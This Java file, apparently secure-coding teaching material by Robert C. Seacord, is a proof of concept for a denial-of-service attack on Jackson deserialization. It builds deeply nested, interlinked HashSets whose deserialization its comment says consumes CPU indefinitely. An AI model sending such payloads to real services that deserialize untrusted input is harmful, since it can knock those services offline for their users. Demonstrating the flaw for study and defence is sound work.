// The MIT License (MIT)

// Copyright (c) 2018 Robert C. Seacord

//

// Permission is hereby granted, free of charge, to any person obtaining a copy

// of this software and associated documentation files (the "Software"), to deal

// in the Software without restriction, including without limitation the rights

// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell

// copies of the Software, and to permit persons to whom the Software is

// furnished to do so, subject to the following conditions:

//

// The above copyright notice and this permission notice shall be included in all

// copies or substantial portions of the Software.

//

// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR

// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,

// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE

// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER

// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,

// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE

// SOFTWARE.

package jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import javassist.CannotCompileException;

import javassist.NotFoundException;

import java.io.IOException;

import java.lang.reflect.InvocationTargetException;

import java.util.*;

public class DOS {

// Deserializing the HashSet will recurse indefinitely, consuming CPU

private static Object DoSpayload() {

Set<Object> root = new HashSet<>();

Set<Object> s1 = root;

Set<Object> s2 = new HashSet<>();

for (int i = 0; i < 100; i++) {

Set<Object> t1 = new HashSet<>();

Set<Object> t2 = new HashSet<>();

t1.add("foo"); // make it not equal to t2

s1.add(t1);

s1.add(t2);

s2.add(t1);

s2.add(t2);

s1 = t1;

s2 = t2;

}

return root;

}

public static void main(String[] args) throws

IllegalAccessException, ClassNotFoundException, InstantiationException, CannotCompileException,

NotFoundException, IOException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {

ObjectMapper mapper = new ObjectMapper();

// mapper.enableDefaultTyping();

// serialize DoS payload

String json = mapper.writeValueAsString(DoSpayload());

System.out.println(json);

// deserialize as Object or permissive tag interfaces such as java.io.Serializable

Object obj = mapper.readValue(json, Object.class);

Class cls = obj.getClass();

System.out.println("The type of the object is: " + cls.getName());

System.out.println(obj);

}

} // end class DOS